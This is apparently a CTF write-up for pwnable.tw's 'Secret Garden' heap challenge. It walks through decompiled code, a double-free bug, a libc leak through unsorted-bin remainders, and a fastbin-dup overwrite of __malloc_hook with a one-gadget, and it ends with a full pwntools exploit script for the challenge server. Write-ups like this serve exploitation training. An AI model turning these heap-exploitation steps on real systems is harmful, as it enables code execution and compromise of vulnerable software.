# PWNABLE # Secrect Garden ## Source code ```cpp= void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { char v3[8]; // [rsp+0h] [rbp-28h] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-20h] v4 = __readfsqword(0x28u); sub_FE1(a1, a2, a3); while ( 1 ) { sub_B6A(); read(0, v3, 4uLL); switch ( (unsigned int)strtol(v3, 0LL, 10) ) { case 1u: raise(); break; case 2u: visit(); break; case 3u: remove(); break; case 4u: clean(); break; case 5u: puts("See you next time."); exit(0); default: puts("Invalid choice"); break; } } } ``` ### raise() ```cpp= int raise() { _QWORD *v0; // rbx void *v1; // rbp _QWORD *v2; // rcx int v3; // edx _DWORD size[9]; // [rsp+4h] [rbp-24h] BYREF *(_QWORD *)&size[1] = __readfsqword(0x28u); size[0] = 0; if ( unk_202024 > 0x63u ) return puts("The garden is overflow"); v0 = malloc(0x28uLL); *v0 = 0LL; v0[1] = 0LL; v0[2] = 0LL; v0[3] = 0LL; v0[4] = 0LL; __printf_chk(1LL, "Length of the name :"); if ( (unsigned int)__isoc99_scanf("%u", size) == -1 ) exit(-1); v1 = malloc(size[0]); if ( !v1 ) { puts("Alloca error !!"); exit(-1); } __printf_chk(1LL, "The name of flower :"); read(0, v1, size[0]); v0[1] = v1; __printf_chk(1LL, "The color of the flower :"); __isoc99_scanf("%23s", v0 + 2); *(_DWORD *)v0 = 1; if ( qword_202040[0] ) { v2 = &qword_202040[1]; v3 = 1; while ( *v2 ) { ++v3; ++v2; if ( v3 == 100 ) goto LABEL_13; } } else { v3 = 0; } qword_202040[v3] = v0; LABEL_13: ++unk_202024; return puts("Successful !"); } ``` - raise() use malloc to **allocate for v0 with the size of 0x28**, make sure all element in v0 is zero. - Then, malloc to allocate for v1 with the size which I input, I will enter the name of flower with the respectively size. -> **v0[1] = v1** -> **v0[1] is the pointer to v1.** - Afterwards, raise() requires to input the color of the flower with the size: 23(make sure < 3 bytes), and store in v0[2], and ->`*(_DWORD *)v0 = 1`; - Finally, it **stores v0 to qword_202040** **make sure the size of qword_202040 <= 100** #### Conclusion **I create the struct like this** ```cpp= struct raise{ int used; #set when raise successfully char *name_flower; #input the size and input the name char color_flower[24]; #nothing special, except for the input } ``` ##### Then, the program will store a pointer to this struct in qword_202040. I will call qword_202040 the garden. ### visit() ```cpp= int sub_F1D() { __int64 v0; // rbx __int64 v1; // rax v0 = 0LL; if ( unk_202024 ) { do { v1 = qword_202040[v0]; if ( v1 && *(_DWORD *)v1 ) { __printf_chk(1LL, "Name of the flower[%u] :%s\n", (unsigned int)v0, *(const char **)(v1 + 8)); LODWORD(v1) = __printf_chk( 1LL, "Color of the flower[%u] :%s\n", (unsigned int)v0, (const char *)(qword_202040[v0] + 16LL)); } ++v0; } while ( v0 != 100 ); } else { LODWORD(v1) = puts("No flower in the garden !"); } return v1; } ``` #### It is simple to print all the flowers in the garden with the condition that  `v1 && *(_DWORD *)v1`, which also means v1 is the valid pointer (not null) and used in struct flower is set. ### remove() ```cpp= int remove() { _DWORD *v1; // rax unsigned int v2; // [rsp+4h] [rbp-14h] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-10h] v3 = __readfsqword(0x28u); if ( !unk_202024 ) return puts("No flower in the garden"); __printf_chk(1LL, "Which flower do you want to remove from the garden:"); __isoc99_scanf("%d", &v2); if ( v2 <= 0x63 && (v1 = (_DWORD *)qword_202040[v2]) != 0LL ) { *v1 = 0; free(*(void **)(qword_202040[v2] + 8LL)); return puts("Successful"); } else { puts("Invalid choice"); return 0; } } ``` #### This function takes input(v2) from user and check `v2 <= 0x63 && (v1 = (_DWORD *)qword_202040[v2]) != 0LL `, then free this pointer to flower. ### clean() ```cpp= unsigned __int64 clean() { _QWORD *v0; // rbx _DWORD *v1; // rdi unsigned __int64 v3; // [rsp+8h] [rbp-20h] v3 = __readfsqword(0x28u); v0 = qword_202040; do { v1 = (_DWORD *)*v0; if ( *v0 && !*v1 ) { free(v1); *v0 = 0LL; --unk_202024; } ++v0; } while ( v0 != &qword_202040[100] ); puts("Done!"); return __readfsqword(0x28u) ^ v3; } ``` #### Loop all flower in the garden(from 0 to 100), check condition: `*v0 && !*v1 ` ### exit() #### leave the program ## Bug ```cpp= if ( v2 <= 0x63 && (v1 = (_DWORD *)qword_202040[v2]) != 0LL ) { *v1 = 0; free(*(void **)(qword_202040[v2] + 8LL)); return puts("Successful"); } ``` ***free:*** **not** set **ptr to null** and check **used to 0**. -> **double free** -> **arbitrary write primitives** #### And free THE CHUNK STORE THE NAME OF THE FLOWER, NOT THE FLOWER. ## Approach #### Everything will be clear if I have the address of libc. Thus, let's try it. ### Leak libc **Notice that:** in the raise() function, the program will malloc 0x28 (the chunk will have a size of 0x30) and I have one more time to request malloc with the size I input(for name of the flower). **Target:** *unsortedbin* + *remainder*. **Example** - I request 0x100 size for name (0x110 size for chunk) twice; the second is to ensure that the chunk will not consolidate with the top chunk. - Then, free the first chunk - Request 0xd8 size for name(0xe0 size for chunk) - **The reason**: 0x30 + 0xe0 = 0x110 - First, the unsorted will take 0x30 in unsortedbin to request for the struct flower, and the request for the name in the second (0xe0) will allocate for the remain chunk. - Write the name with length 8 to leak the address of unsortedbin when call printf() #### The result **Before free** ![image](https://hackmd.io/_uploads/HytbFPyrA.png) - I don't know exactly what the chunk with size of 0x1011 is, but it is not important, so I will pass it. ![image](https://hackmd.io/_uploads/BJSGYP1BA.png) **After request to trigger** ![image](https://hackmd.io/_uploads/BJMRFPJBR.png) - The first request for the struct flower. ![image](https://hackmd.io/_uploads/SkMMqv1rA.png) - Next, request for the name of the flower. #### The next time I call visit(), it will leak the address of unsortedbin->leaklibc. ### Fastbin dup to trigger call system("/bin/sh"): onegadget. - First, I try to overwrite the malloc_hook with **one gadet**. Unless it fails, I will find other ways. Fortunately, it works. ![image](https://hackmd.io/_uploads/BkTr0DJBR.png) ### Script ```python= #!/usr/bin/env python3 from pwn import * host = 'chall.pwnable.tw' port = 10203 context.log_level = 'debug' context.binary = elf = ELF('./secretgarden_patched', checksec=False) libc = ELF("./libc_64.so.6", checksec=False) ld = ELF("./ld-2.23.so", checksec=False) gs = ''' b *0x555555400c32 b *0x555555400c65 b *0x555555400c65 b *0x555555400f1d b *0x555555400e12 b *0x555555400e74 b *0x555555400f8b b *0x555555400fb2 b *0x555555400f8b b *execve b *0x7ffff7a857e5 ''' # 0x7ffff7a857e5 abort #b *0x555555400c65 index = 0 def info(mes): return log.info(mes) def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path) def add(size, name, color): global index io.sendline(b'1') io.sendlineafter(b'Length of the name :', str(size).encode()) io.sendlineafter(b'The name of flower :', name) io.sendlineafter(b'The color of the flower :', color) io.recvuntil(b'Your choice : ') index += 1 return index - 1 def show(): io.sendline(b'2') #io.recvuntil(b'Your choice : ') def free(index): io.sendline(b'3') io.sendlineafter(b'Which flower do you want to remove from the garden:', f'{index}'.encode()) io.recvuntil(b'Your choice : ') def clean(): io.sendline(b'4') io.recvuntil(b'Your choice : ') def exit(): io.sendline(b'5') io = start() #io.timeout = 0.1 io.recvuntil(b'Your choice : ') ''' LEAK HEAP add(2, b'aa', b'AA') add(2, b'bb', b'BB') free(0) free(1) free(0) add(0, b'', b'CC') show() io.recvuntil(b'Name of the flower[2] :') leak_heap = u64(io.recv(6) + b'\x00\x00') info(hex(leak_heap)) ''' #================================================================================= # LEAK libc chunk_a = add(0x100, b'aa', b'AA') chunk_b = add(0x100, b'bb', b'BB') free(chunk_a) chunk_c = add(0xd8, b'c'*8, b'C'*8) show() io.recvuntil(b'Name of the flower[2] :cccccccc') leak_libc = u64(io.recv(6) + b'\x00\x00') libc.address = leak_libc - 0x3c3b0a info("Leak address: " + hex(leak_libc)) info("libc base: " + hex(libc.address)) io.recvuntil(b'Your choice : ') #================================================================================ #FAST BINS dup chunk_d = add(0x68, b'd'*4, b'D'*4) chunk_e = add(0x68, b'e'*4, b'E'*4) free(chunk_d) free(chunk_e) free(chunk_d) dup = add(0x68, p64(libc.sym['__malloc_hook'] - 35), b'F'*4) gar1 = add(0x68, b'g'*4, b'G'*4) gar2 = add(0x68, b'i'*4, b'I'*4) overwrite = add(0x68,b'a' * 19 + p64(libc.address + 0xef6c4), b'J'*4) #add(0x68, b'test', b'oke') free(gar1) io.sendline(b'3') io.sendlineafter(b'Which flower do you want to remove from the garden:', f'{gar1}'.encode()) #free(gar2) io.interactive() ```